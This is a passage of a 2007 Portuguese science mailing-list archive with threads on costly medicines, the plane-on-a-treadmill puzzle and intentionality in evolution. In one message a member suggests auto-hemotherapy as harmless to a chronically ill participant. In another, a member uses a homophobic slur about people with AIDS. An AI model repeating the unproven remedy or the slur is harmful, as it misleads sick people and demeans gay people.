>correio eletrônico amanhece já entupida com spams. O engraçado é que a
>maioria, em inglês, é de propaganda de viagra. Pôrra, como é que eles
>sabem?
>
>Na verdade, mal sabem eles que tenho várias caixas de viagra com a data
>de validade vencida. Não porque não precise, mas porque nem transo mais
>por falta de libido. Devido à intoxicação com tantos remédios.
>
>[]s
>Manuel Bulcão
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: RE: [ciencialist] Re: Remédios manipulados
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 22:17

Manuel,
oi.
Agora e´que ví seu lance.
Desconsidere meu e-mail anterior.
Vc já tentou auto-hemoterapia?
Já se falou aquí e pelo que ví, mal não faz.
abr/M.


>From: Manuel Bulcão <manuelbulcao@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: Remédios manipulados
>Date: Tue, 06 Mar 2007 10:30:22 -0000
>
>--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
>escreveu
>
> > Vc pode entrar com acao na justica para ter garantido seu direito.
> > Varias pessoas entraram e ganharam o direito de ter seus medicamentos
> > pagos pelo SUS. (Infelizmente leva anos.)
>
>Entrei com requerimento junto ao SUS para tratar a minha doença de
>crohn com Remicade. Se fosse ter que pagar... cada injeção de remicade
>custa sete mil reais e, se não me engano, o tratamento compreende mais
>de uma dezena de injeções. A burocracia, no entanto, é grande, e a
>possibilidade de indeferimento maior ainda.
>
>Enquanto isso, meu "crohn", em recidiva, permanece refratário ao
>corticóide, ao metotrexato e à dapsona. Sim, tomo dapsona (remédio
>manipulado, receitado mais para hanseníase) porque com o "crohn"
>aparecem piodermas gangrenosos. Estou com um na batata da perna
>direita, enorme, com dois meses de idade e ainda em fase de crescimento.
>
>Se tiver que entrar com ação na justiça para garantir o tratamento
>(que, realmente, leva anos), estou é lascado.
>
>[]s
>Manuel Bulcão
>
>
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: [ciencialist] Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/03/2007 22:34

Olá, Homero! Vc não está lendo o que já escrevi, por isso fica repetindo a
mesma interpretação fictícia de que os rolamentos das rodas têm atrito zero.
Isso não existe. Para puxar um avião, mesmo pequeno, tem de ter alguma força
significativa. Faço outros comentários no corpo do e-mail após JR -, OK?
...................................................
From: "Oraculo" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 05, 2007 3:30 PM
Subject: [ciencialist] Está errado, Renato - O avião decola SEM
PROBLEMAS..:-) Re: avião em esteira


Olá Jose Reanto

Renato: "É isso que o Takata está tentando há vários e-mails esclarecer a vc
e a
Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas a
esteira carrega o avião para trás. "

Não, não carrega. Para carregar TEM DE USAR TRAÇÃO, e o atrito dos
rolamentos não fornece tração suficiente (para isso servem as rodas, para
ELIMINAR tração e atrito). Sim, a esteira, devido ao atrito dos rolamentos,
carregaria, se se acelerasse bem devagar, o avião, mas apenas se NENHUMA
força, MÍNIMA, contrária agisse. A resist~encia do ar já seria suficiente
para impedir isso (por isso aviões são amarrados em plataformas de trens, ou
seriam levados para tras pelo ar). E o que o Takata está fazendo é ajustando
novos fatores de tração, como a "deformação" dos pneus, que não existem no
enunciado, para justificar o injustificável. Na forma proposta, o avião
decola sem problemas.
JR - Se vc acredita nisso, só vamos conseguir algum resultado conjunto se vc
ler com atenção e raciocinando sobre o que escrevo e fazendo os contrapontos
com objetividade.

Mesmo o Takata admitiu, sem pestanejar, que se o atrito dos rolamentos é
zero, não há o que discutir, o avião decola sem problemas.
JR - Vc entrou na minha conversa com Ricardo onde as premissas estavam na
questão inicial onde não está indicado que o atrito dos rolamentos é zero.

O enunciado NÃO diz que a esteira primeiro carrega o avião para tras, e
depois este liga as turbinas. Diz que a esteira se move EXATAMENTE como o
avião, no sentido contrário. Se este está PARADO, a esteira está PARADA.
JR - É que vc mistura os comentários feitos com Takata com os que fiz ao
Ricardo aí dá esse angú que não tem pé nem cabeça.

SE a esteira conseguisse, acelerando devagar ou não conseguiria pela falta
de atrito, levar o avião a uma grande velocidade, as turbinas PRIMEIRO
teriam de vencer essa velocidade para tras, mas NÃO TERIAM DE VENCER A
ESTEIRA, QUE É INSIGNIFICANTE NESSA EQUAÇÃO a partir do momento em que o
avião ganhou velocidade para tras.

Renato: "A seguir, vamos ver o que ocorre quando os motores do avião são
acionados."

Você DESTRUIU o enunciado. Ninguém quer saber o que é ncessário para fazer
um avião que JÁ ESTÁ EM MOVIMENTO APRA TRAS decolar, pois todos sabemso que
NÃO IMPORTA COMO ELE ATINGIU ESSA VELOCIDADE (se esteira ou se caiu no
precip´´icio), a propulsão tem primeiro de vencer essa velocidade
retrograda.

O que o enunciado deseja saber é se, LIGANDO A ESTEIRA quando o avião
acelera, e se essa esteira se move A MESMA velocidade do avião, mas para
tras, se isso de alguma forma impede a decolagem. A resposta é, não, o avião
decolará sem problemas. A força de sua propulsão pode, facilm,ente,
sobrepujar o. quase desprezível, atrito dos rolamentos, que é, repito, A
ÚNICA FORMA DA ESTEIRA AGIR SOBRE O AVIÃO.

Em algum momento tem de entender isso, Renato. Sua explicação está errada
até mesmo em relação ao que o Takata vem tentando fazer (pergunte a ele, e
verá que sua resposta NÃO é igual a dele).
JR - Veja os comentários que enviei a Ricardo falando da conexão simultânea
entre as velocidades sempre iguais da esteira e avião, em sentidos
contrários.

Homero

[]s
JR
..............................................

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, March 04, 2007 6:38 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira


Olá, Ricardo, dentro da questão proposta originalmente, faço comentários
após os seus:
...........................
From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 4:09 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira

> Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É ao que
> somos levados a pensar a princípio. Mas como o sistema que empurra o
avião
> para frente é independente da esteira (turbina, por exemplo), a esteira
se
> mover para trás não empurra o avião para trás de forma determinante, mas
> sim, faz as rodas girarem mais rápido.
JR - É isso que o Takata está tentando há vários e-mails esclarecer a vc e
a
Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas a
esteira carrega o avião para trás. As rodas girarão um pouco apenas no
caso
da esteira partir com uma *aceleração* alta o suficiente para vencer o
atrito dos rolamentos das rodas. Depois que a esteira "infinita" atinge a
velocidade limite máxima e a *aceleração* cai a zero, as rodas do avião
param de rodar e ele passa a ser transportado "paradão", se deslocando
para
trás com a mesma velocidade da esteira.
A seguir, vamos ver o que ocorre quando os motores do avião são acionados.

> Então, o avião anda para a frente, em relação ao chão, a esteira roda
para
> trás, e as rodas giram mais rápido.
JR - Não, Ricardo, com os motores parados o avião não se desloca para
frente
a não ser uns poucos metros, caso a esteira parta com alta aceleração. Ele
só passará a se deslocar para frente continuamente sobre a esteira quando
os
motores das hélices ou turbinas forem acionados e acelerados.
Ao atingir a mesma velocidade da esteira em sentido contrário, as rodas
estarão girando sobre a esteira como um carro no asfalto, mas o avião
estará
praticamente parado em relação ao solo ou ao ar que o rodeia, exceto em
relação ao fluxo de ar deslocado pelas hélices ou turbinas.
Adendo: no caso de avião com hélices pode ocorrer desse fluxo de ar acima
mencionado ser suficientemente forte para elevar o avião da esteira, o que
poderia ser considerado um vôo, semelhante ao que ocorreria se o avião
fosse
"amarrado pela cauda" e acelerasse os motores.
>
> []s
> Ricardo

[]s
José Renato
................................................
>
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, March 04, 2007 12:10 AM
> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião
em
> esteira
>
>
>> Ricardo:
>> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
>> hélices,
>> ao
>> empurrar o ar para trás, empurra o avião para frente, independente
deste
>> ter
>> ou não asas. O avião se move para frente ao ligar a turbina, não para
>> cima. ]
>> ..........................
>> Pois é, Ricardo, e a esteira leva o avião para trás na mesma
velocidade!
>> Isso significa que o mesmo está praticamente parado em relação ao solo
e
>> ao
>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>> hélices
>> ou turbinas. Difícil, não?
>
> José Renato,




SUBJECT: Re: [ciencialist] P/ Jose Renato - Tartarugas, mamutes, e o engano de Jose Renato
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/03/2007 22:59

Olá, Homero, se estendeu tanto para dizer quase nada! A única cega que
aparece no texto é a sua força aleatória e não intencional. Procure ser
objetivo em seus comentários, caso contrário fica uma discussão sem rumo,
que lhe dá oportunidade apenas para descarregar sua animosidade. Repare que
um urso se adapta ao ambiente *antes* que a sua espécie-descendência se
adapte, se assim não fosse ele morreria antes de procriar e criar seus
filhotes. E aí não haveria descendência ou seleção natural da espécie. O que
parece que vc não entendeu é a impossibilidade de vc ou qualquer pessoa
afirmar que o ser vivo não tem qualquer "intenção" natural de sobreviver.
Esse tipo de afirmação é adequado apenas aos adivinhos.
[]s
José Renato
..........................

From: "Oraculo" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 05, 2007 4:22 PM
Subject: [ciencialist] P/ Jose Renato - Tartarugas, mamutes, e o engano de
Jose Renato


Olá Jose Renato

É impossível discutir com a fé, em especial uma forte e cega fé. A simples
insistência nos dogmas que defende não vão mudar as coisas: não há intenção,
nem mesmo uma hipotética "intenção de sobreviver", nos seres vivos e na
evolução. Sei que não vai entender ou admitir isso, mas não há mesmo assim.

A areia da praia se divide em grãos finos, depois grãos mais grossos, até as
pedras maiores na orla perto da terra. Não, a areia, ou o mar, ou a
natureza, não tem INTENÇÃO de separar as coisas dessa forma bonita e útil
para os banhistas, apenas acontece de, devido as forças. cegas e não
intencionais da fisica deste universo, as coisas acabem separadas assim.

Os seres vivos não tem mais intenção de sobreviver do que a areia tem de se
separar daquela forma. Seres vivos nascem com diferentes conjuntos de
comportamentos, mas os conjuntos que se mostram mais aptos, são mais
passados para a próxima geração. Nenhuma intenção, é uma força cega e não
intencional, como uma peneira separa pedras de areia, que determina que
seres vivos ficam e os que não ficam vivos.

A primeira molécula replicante que surgiu na Terra primitiva não tinha
NENHUMA intenção de sobreviver. Ela se replicava porque as forças químicas
assim determinavam. Mas, em um ambiente sem competição ou propósito,
replicar significa estar presenta em maior número que as não replicantes.
Milhões de anos depois, uma enorme quantidade de moléculas que se replicam,
sem A MENOR INTENÇÃO DE FAZE-LO, estão presentes, e qualquer modificação,
aleatória, que aumente a chance de replicar, será útil.

Uma alteração que NÃO aumente a chance de replicar também acontece, e
alterações que DIMINUAM a chance de replicar idem. Mas, e isso deve ser
evidente até para você, as alterações que AUMENTAM a chance de replicar
estarão MAIS presentes no ambiente que as que não interferem ou diminuem
essa chance.

Tudo de forma totalmente ALEATÓRIA, mas que, com milhões de anos para agir,
vai fazer o mesmo que a areia das praias, gerar um padrão que PARECE
intencional.

Qualquer modificação em moléculas replicantes, que aumentem sua duração,
será rapidamente mantida. Não porque as moléculas replicantes, TEM A
INTENÇÃO de sobreviver ou de se manter, mas pelo mesmo motivo que cristais
se formam: forças cegas e leis da fisica deste universo.

Se entender que as moléculas dessa Terra primitiva não tem mais "intenção"
de qualquer coisa, que a água tem a intenção de preencher perfeitamente um
buraco no chão, começaa a entender o que significa ser cega e aleatória a
evolução de seres vivos e espécies.

Renato: "As "intenções" do ser vivo é viver, tentar sobreviver de todas
as formas possíveis. Isso é natural, sim, não requer racionalização ou
planejamento, sim, mas tem o propósito inerente de se desenvolver e
reproduzir, sacado há tempos, muito antes da sua "força cega" ser admitida
nessa história."

Ai, ai, ai... Não, não é. Não no sentido evolutivo ou biológico, mas apenas
como fruto de forças cegas, da pressão seletiva. A pressão seletiva MATOU
todo individuo que não apresentou mecanismos no início e comportamentos mais
adiante, que maximizassem a sobrevivência, mas sem necessitar de intenção
alguma. Árvores não tem intenção alguma, bactérias não tem intenção alguma,
etc, elas apenas respondem a forças cegas e aleatórias.

Renat: "JR - Que viagem! Estamos nos adaptando ao ambiente - atente -
permanentemente! Se dispomos de memória intelectual e biológica, melhor
ainda."

Mais uma vez, está usando um termo com dois sentidos, falácia dos quatro
termos.:-( Isso cansa, Renato. Um ser vivo se "adapta", ou melhor, a espécie
"se adapta", quando modificações genéticas se tornam permanentes e
disseminadas na espécie. A "adaptação" de construir uma lareira em climas
frios, não tem NADA A VER com a adaptação da evolução...:-( Isso está se
tornando ridiculo, tal o amadorismo com que lida com essas questões, Renato.

NENHUM biologo vai validar sua alegação, sobre a adpatação dos esquimos ao
frio ser o mesmo que a adaptação dos ursos polares ou mamutes lanudos.

Renato: "JR - A questão volta a ser vocabular. Se um urso, ao chegar o
inverno, se
entoca numa caverna, dorme e consegue acordar quando o tempo aquece,
vc não considera isso uma adaptação ao seu modo de vida?"

Não do urso, mas da espécie, Renato!!! É a espécie que se adaptou, devido a
mudanças gradativas em milhares de anos, não aquele urso!!! Ou resolve
aprender sobre a evolução, e livros de ciência, (e não em textos religiosos
criacionsitas, com todas as distorções e erros que eles contém) ou vamos
ficar eternamente debatendo inutilmente!

Pegue um urso negro asiático, e leve para o Polo Norte. Não um, mas um
grupo, uma centena, não importa. Solte-os lá e veja se "se adaptam". Morrem
todos, sem exceção! NENHUM deles vai se adaptar, porque NENHUM deles pode
fazer isso!

Apenas um período de tempo geológico, apenas uma mudança ambiental gradual,
apenas a soma de milhares de modificações mínimas cumulativas, permitiriam
que a ESPÉCIE urso negro asiático se adaptasse, talvez, ao polo norte.

Nascem ursos negros de diferentes tonalidades de negro. No ambiente atual,
isso é irrelevante, e se uma tonalidade for demasiado clara, este urso terá
mais dificuldades que os outros, e menos descendentes. Assim, a espécie se
mantém negra com a natureza, as forças cegas da natureza deste universo,
MATANDO OS QUE SE DIFERENCIAM DEMAIS, ou pelo menos fazendo com que tenham
menos descendentes. E, pelo amor de Darwin, NENHUM urso pensa nisso, nem a
natureza tem a INTENÇÃO de manter os ursos negros ou dificultar a vida dos
mais claros, apenas ACONTECE de ser assim no ambiente em que vivem no
momento.

Mas, leve um grupo de ursos para uma região próxima do Polo Norte. Permita
que vivam lá, com dificuldades, (pois é um ambiente diferente de seu atual),
por alguns milhares de anos, e os que nascem mais claros (e que já nasciam
no outro ambiente) não terão tanta dificuldade como antes, pelo contrário.
Milhares de anos depois, a tonalidade será mais clara na espécie, que no
antigo ambiente.

Agora, eles podem se mover um pouco ao norte, mais perto do Polo, como os
antepassados dos ursos polares fizeram. Ficaram mais claros, sem NENHUMA
INTENÇÃO DE FICAR MAIS CLAROS, apenas porque a natureza continua a matar ou
dificultar conforme o ambiente.

Nesse periodo, aguentar longos períodos de fome se tornou importante, mais
que no ambiente original, e qualquer variação para acumular gordura, que no
ambiente asiático era dispensável, agora é uma vantagem. A cada inverno
rigoroso, os que NÃO acumularam gordura suficiente, morreram. Acha que a
natureza, ou os ursos, tem a INTENÇÃO de morrer de fome, para ajudar a
espalhar os genes que permitem a maior absorção de gordura?!?!

Alguns, muitos, milhares ou centenas de milhares de anos, os futuros
descendentes dos ursos negros asiáticos podem colonizar o polo, com pelagem
branca, grande volume de gordura, e até a hibernação em tocas de neve.

Mas, NENHUM URSO NEGRO JAMAIS se adaptou, como individuo, ao que quer que
seja, e muito menos essa colonização ou sobrevivência foi intencional.

Renato: "JR - Vc ainda não entendeu que uma semente ou um embrião não vai se
desenvolver aleatoriamente. Ele vai se desenvolver de acordo com sua espécie
genética já estabelecida no genes. Se fosse aleatoriamente, teríamos tantas
espécies quanto são os seres vivos: cada uma diferente da outra."

Tanto quanto um cristal que obedece a leis fisicas não intencionais, a
semente vai responder a reações químicas e bioquimicas, presentes no DNA que
ela carrega. Esse conjunto de instruções foi formado de forma ALEATÓRIA E
NÃO INTENCIONAL, filtrado pelas pressões do ambiente, por MILHÕES de anos.

É seu TOTAL desconhecimento da biologia e da evolução que permite que faça
uma alegação TÃO absurda e sem sentido (sem sentido frente a biologia e a
evolução) como essa, que se não fosse "aleatório" teriamos tantas espécies
quanto são os seres vivos.

E estou MUITO cansado de tentar explicar seu erro, pois toda explicação
"bate" em uma parede de fé cega e certeza absoluta. Não posso convence-lo de
nada que viole sua fé: uma divindade sobrenatural, intencional, fez o
universo e determina seus passos e direção.

Toda e qualquer evidência que contrarie essa crença, é descartada "a
priori".

Está errado, Renato, mas só compreenderá seu erro se abandonar a fé cega que
carrega. Enquanto isso não ocorrer, verá "maravilhas e deuses" em toda
parte, quer eles existam, quer não.

Um abraço.

Homero

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 02, 2007 10:41 PM
Subject: Re: [ciencialist] P/ Jose Renato - Tartarugas, mamutes, e o
engano de Jose Renato


Caro Homero, é assim que vc esgota a sua paciência e leva Takata a pedir
um
pouco dela em suas respostas a ele. É que vc se espraia em repetidas
ilações, prolixas e desnecessárias, que se enquadram na detalhada
descrição
do alerta de ressalva feita por Manuel Bulcão na resposta ao Takata,
colada
ao final. Pode ser que fazendo isso vc leve alguém a acreditar que eu é
que
sou repetitivo e não vc um verborrágico aparentemente convicto de que essa
é a melhor forma de trocar idéias sobre ciência. Creio que não é.

Faço outros comentários no corpo do e-mail, após JR -, OK?
.............................................

----- Original Message -----
From: "Oraculo" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 2:39 PM
Subject: [ciencialist] P/ Jose Renato - Tartarugas, mamutes, e o engano de
Jose Renato

Olá Jose Renato

Renato, continua não entendendo bem a questão, e vendo "coisas" onde elas
não existem. Em especial, os "proques" da natureza não são "porques" da
forma que você pensa, não tem a intenção a priori que parece encontrar em
tudo.

Renato: "Vc já se perguntou por que uma larva de
cigarra permanece anos no solo antes de eclodir, se alimentando de
raízes?"

Porque as que eclodiram antes foram devoradas por predadores, ou tinham
mais
probabilidade de serem devoradas por predadores. NENHUMA delas tinha ou
tem
a MENOR noção desse porque, e se as condições mudarem (por exemplo, um
predador que devore cigarras em cada 7 anos), as que NÃO nasceram após
esse
período terão uma vantagem.
Mas, nem as que nascem nesse período nem as que erram o período (e toda
geração tem variações) tem a MENOR idéia disso tudo, e não fazem isso com
inteligência ou intenção. São resultados de forças cegas, naturais, não
intencionais, etc.
JR - Sua "ceguinha" já deve estar cobrando hora extra por tanta demanda.
Só dá ela... As "intenções" do ser vivo é viver, tentar sobreviver de
todas
as
formas possíveis. Isso é natural, sim, não requer racionalização ou
planejamento, sim, mas tem o propósito inerente de se desenvolver e
reproduzir, sacado há tempos, muito antes da sua "força cega" ser admitida
nessa história.

Esquimós se adaptaram ao frio com o uso da inteligência humana,
inteligência
que foi desenvolvida em outro ambiente, devido a outras necessidades, mas
que pode ser utilizada de diversas formas. Focas e ursos polares
desenvolveram gordura sem a MENOR idéia do que estava acontecendo, e
nenhum
INDIVIDUO dessas espécies JAMAIS se adaptou, mas apenas a espécie, com a
morte dos que tinham menos capacidade em sobreviver e a manutenção dos que
tinham.
JR - Que viagem! Estamos nos adaptando ao ambiente - atente -
permanentemente!
Se dispomos de memória intelectual e biológica, melhor ainda.

E, por favor, os que tinham menos capacidade e os que tinham mais não
sabiam NADA sobre isso, e nasceram com essas características de forma
aleatória, não intencional, não inteligente, da mesma forma como você
nasceu
mais baixo ou mais alto que seu irmão, Renato.
JR - Forma não intencional, não dirigida ou aleatória gera seres de
diversas
conformações. Entretanto, sabemos que de um ovo de galinha nascerá um
pintinho e não um animal "aleatório".

Ursos, em um ambiente que ficava mais frio a cada estação, nasciam como
nasceram sempre, alguns com mais gordura, outros com menos.
Aleatoriamente.
Os que nasceram com mais gordura, por mero acidente genético, tinham
ligeira
vantagem durante os invernos mais rigorosos, e deixavam mais descendentes.
Em milhões de anos, apenas ursos com mais gordura restaram.
NENHUM dos ursos que viveu durante os milhões de anos necessários a essa
especiação JAMAIS se adaptou como individuo.
JR - A questão volta a ser vocabular. Se um urso, ao chegar o inverno, se
entoca numa caverna, dorme e consegue acordar quando o tempo aquece,
vc não considera isso uma adaptação ao seu modo de vida?

Renato: "Bons comentários, Homero! Faço apenas ressalva aos seguintes
trechos:"

Grato pelo elogio, mas ainda insisto, você precisa se esforçar para
compreender realmente a questão da evolução. Veja os enganos, mesmo quando
parece concordar comigo:

Renato: "JR - Isso pode ocorrer durante algum tempo, mas o sabidório pode
ser excluído da partilha e ficar dependendo apenas de si mesmo. Veja que
foi
a possibilidade de eu fazer apenas uma parte do que preciso para viver -
enquanto outras pessoas fazem as demais - que promoveu a civilização."

Excluir o sabido É um comportamento herdado, que surge, aleatoriamente, a
partir de mudanças, aleatórias, nos genes. [ ... ]
JR - Colocar comportamento social nos genes é outra de suas viagens. O ser
vivo pode adotar diversos comportamentos de grupo com os mesmos genes,
dentro de uma mesma existência.

[ ... ] Nos grupos de animais gregários onde ele surge, é gerada uma
vantagem para este grupo, que NÃO existe nos grupos sem o
comportamento. Mais alguns milhares de anos, apenas grupos que
apresentam um conjunto de genes que reforce esse comportamento
(excluir da partilha) restaram, devido a competição entre grupos.
JR - Não é preciso muito tempo, Homero. Se duas tribos menores não
se unem para se defender de uma mais forte, serão dizimadas,
escravizadas e até extintas.

Tente entender, nada disso é "inteligência" no sentido habitual do termo,
que só pode ser usado como metáfora nesses casos. É a "inteligência" de um
cristal de rocha, que "soube" criar um padrão tridimensional perfeito, ou
a
"inteligência" da água ao preencher "exatamente" a poça no chão, ou a
"inteligência" do pássaro tecelão, que soube criar um ninho altamente
complexo (mas que deixa os ovos caírem por um buraco no fundo, sem
entender nada).
JR - E qual é esse sentido habitual de "inteligência"? Seria fazer algo
com
algum, digamos, "objetivo" - tal como, permanecer vivendo? E quantas
vezes nós humanos colocamos "nossos ovos" em buracos sem fundo,
só por hábito, e nem percebemos que eles estão se perdendo?

O que promoveu a civilização foi um conjunto de coisas, baseadas na
capacidade cerebral de homo sapiens, que surge como resposta adaptativa a
um
ambiente específico, a extinção dos dinos, etc. Sem NENHUMA intenção de
surgir ou de criar uma civilização.
JR - Fomos fazendo de tudo para sobreviver, até que alguém disse que isso
é
civilização...

Renato: "JR - Vc acha que o ser humano é "bom" por natureza, há os que
acham
que é um maléfico predador por natureza, e há os que consideram que ele é
o
"fazem"dele em sua formação. Muito provavelmente ainda ficaremos sem
certeza
de qual dessa teses é a que melhor descreve a realidade. Quanto a sua fiel
crença no Acaso sem qualquer comprovação científica é mais uma das suas
aventuras na arte dos adivinhos."

Não, Renato, não acho que o ser humano é "bom". Esse é um conceito humano,
subjetivo, e não se aplica a comportamentos evolutivos. Estes apenas
"são",
nem bons, nem ruins. Matar os filhotes, como os leões, não é "bom" nem
"ruim", é eficaz, nesse sentido. Ajudar os outros, em um grupo gregário,
não
é "bom" ou "ruim", é apenas eficaz, entre a disputa por espaço e alimentos
de grupos diversos. Só isso, nada mais. O que estou tentando explicar a
você
é que parte dos comportamentos que consideramos "bons", já existem, como
vantagens adaptativas, em nossos primos e em nossos ancestrais primatas (e
em animais gregários em geral). Não são fruto de uma divindade benéfica ou
criação puramente humana.

Minha conclusão, e não crença, não deriva da falta de evidências do acaso,
que é evidente (acaso é uma ausência, não algo concreto), mas na falta de
evidências de que não seja assim. Tente entender, o acaso, a não
intencionalidade, é uma ausência, e, como tal, não precisa de evidências.
Não se exige evidências de que algo ocorreu ao acaso, mas o contrário, de
que NÃO ocorreu. Pense que quando ouve um barulho de janela abrir, sua
presunção é que foi ao "acaso", pelo vento, pelo calor, por quebra, etc,
sem
intenção de abrir e fazer barulho. É a partir de evidências que pode mudar
de conclusão e decidir que houve uma "intenção" na abertura da janela.
JR - Quando os antigos não sabiam explicar algo utilizavam de crendices,
fábulas - ou algo ainda desconhecido que chamavam de divindades - para
tentar explicá-las. A sua tem o nome da Acaso, explica tudo.

Repito, não é preciso "comprovação cientifica" do acaso, da aleatoriedade,
que, aliás, é um termo que define acaso, é o próprio acaso.

O que está dizendo, Renato, é que preciso "provar cientificamente" que um
dado dá resultados ao "acaso", aleatoriamente, sem intenção de dar o
resultado, quando na verdade isso é uma presunção, a própria definição de
acaso, de aleatório..:-) É você que acredita que NÃO é acaso, sem nenhuma
evidência que sustente essa crença, que precisa "provar cientificamente"
que
os dados dão resultados "intencionalmente".
JR - Vc ainda não entendeu que uma semente ou um embrião não vai se
desenvolver aleatoriamente. Ele vai se desenvolver de acordo com sua
espécie
genética já estabelecida no genes. Se fosse aleatoriamente, teríamos
tantas
espécies quanto são os seres vivos: cada uma diferente da outra.

Um abraço.
Homero

Abraços
José Renato
.........................................separador da ressalva de Manuel
Bulcão Neto

From: "Manuel Bulcão" <manuelbulcao@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, February 25, 2007 7:49 PM
Subject: [ciencialist] Re: A universalização dos valores morais

(Como essa minha resposta é longa, vou dividi-la em capítulos. Mas
não pensem que estou me valendo da velha falácia "apelo à
tagarelice", muito comum entre relativistas pós-modernos e que
consiste em escrever de forma copiosa e exuberante, recheando o texto
com citações, referências bibliográficas, brocardos latinos,
gigantescas expressões alemãs, palavras do português arcaico,
adjetivos aos borbotões, neologismos, onomatopoeses, pleonasmos,
epigramas, circunlocuções, proposições indecidíveis, apotegmas
oraculares, aforismas "esfinge" (do tipo "decifra-me ou não te deixo
dormir à noite"), perguntas retóricas, respostas tangenciais,
arabescos anedóticos, longas sentenças camonianas (para serem lidas
de trás pra frente ou refletidas no espelho), digressões e quejandos
e muitas, muitas, muitas vírgulas, ponto-e-vírgulas, travessões,
parênteses, colchetes, chaves, aspas simples, aspas duplas etc. -
tudo isso com o implícito intuito não só de compensar a falta do que
dizer com música verbal, de preferência com ares dodecafônicos
(transfigurando, assim, a cacofonia sem sentido em nonsense
sinfônico), como também de cansar o outro debatedor, desencorajá-lo
da leitura e, principalmente, desestimulá-lo a responder. Não, não e
não. Meu texto é grande, porém claro e informativo. É só conferir.
Mãos, ou melhor, olhos à obra!)

(apaguei o restante da mensagem)




SUBJECT: Re: [ciencialist] Remédios manipulados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/03/2007 23:19

Caro, Silvio! Fico grato pela consideração amiga.
Existem programas de distribuição de remédios de uso contínuo para pessoas
pobres. Existe combate a moléstias mortais de transmissão rápida como as que
mencionei.
Os aposentados devem continuar lutando e denunciando o achatamento de suas
aposentadorias por forças de arranjos legais-econômicos e, se possível,
cobrar o cumprimento na Justiça. Não esmoreça, sua voz faz diferença, envie
seus reclamos aos meios circulantes, sem cessar, com sabedoria e inspiração.
O que é legítimo tem a capacidade própria de superar todas as manobras
estelionatárias dos governos.
Devo lhe dizer que eu não pertenci às elites dos frei Betto e muito menos
das demais espécimes mencionadas em seu desabafo.
Cuide-se bem garoto, caso contrário vai fazer a alegria dos saqueadores
empoleirados nas instituições de saúde e previdência social.
Abraços
José Renato
.......................................

From: "Silvio Cordeiro" <scordeiroes@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 05, 2007 5:13 PM
Subject: Re: [ciencialist] Remédios manipulados


Renato:

Nós somos velhos amigos, sinto que vs. não fez nenhum comentário sobre a
falta de apôio aos portadores de doenças graves, mortais, como as
cardiopatias.
Eu reclamo pois realmente ajudei a construir 4 usinas sidero-metalúrgicas,
trabalhando com amor e dedicação, como outros milhares de trabalhadores:
aposentado, não recebemos nada do Governo para a compra de remédios tambem
caros: nós já não pertencemos mais à elite dos freis Beto, demagogos,
pedófilos, pederastas.....

sds.,

silvio
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 03, 2007 10:05 PM
Subject: Re: [ciencialist] Remédios manipulados


Caro Silvio, a distribuição grátis sob controle, por parte do governo
federal, é feita prioritariamente para atender os enfermos de moléstias
contagiosas, como a AIDS, tuberculose, sarampo, gripe, difteria, raiva,
etc.
Se assim não fosse estaríamos muito mais expostos a essas doenças
controláveis. Atualmente, o maior avanço da AIDS está em mulheres
heterossexuais contaminadas pelos próprios parceiros.
[]s
JR
.......................................

From: "Silvio Cordeiro" <scordeiroes@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, March 02, 2007 12:24 PM
Subject: Re: [ciencialist] Remédios manipulados

Gil:

Sou cardíaco muito grave, tomo 21 comp. por dia sendo que 6 são
manipulados.
A farmácia que os prepara tem todos os certificados de qualidade. A médica
que me assiste concorda por dois motivos: o primeiro, é que não posso
comprar os de marca e segundo, nunca teve problemas com esses manipulados.
Há muitos médicos que, por "segurança" forçam a compra dos originais: aí,
o
cara não compra nem um nem outro....
É uma decisão quja prioridade é a disponibilidade de grana: se pode
comprar,
compre os de marca. não podendo, mande aviar.
E agora tem a Farmácia Polular que vende remédios a baixo preço, mas só
alguns e os mais baratos.

Uma curiosidade demagógica de nossos políticos: nós que trabalhamos a vida
toda 35 anos de serviço pesado e ficamos doentes, a maioria cardíacos, não
temos nenhum apôio do Governo.
Entretanto a viadada com sua AIDS tem tudo de graça, na hora, remédios
caríssimos, importados: nota-se que o governo, os políticos estabelecem
critérios em causa própria.....

sds.,

silvio
----- Original Message -----
From: Gil
To: ciencialist@yahoogrupos.com.br
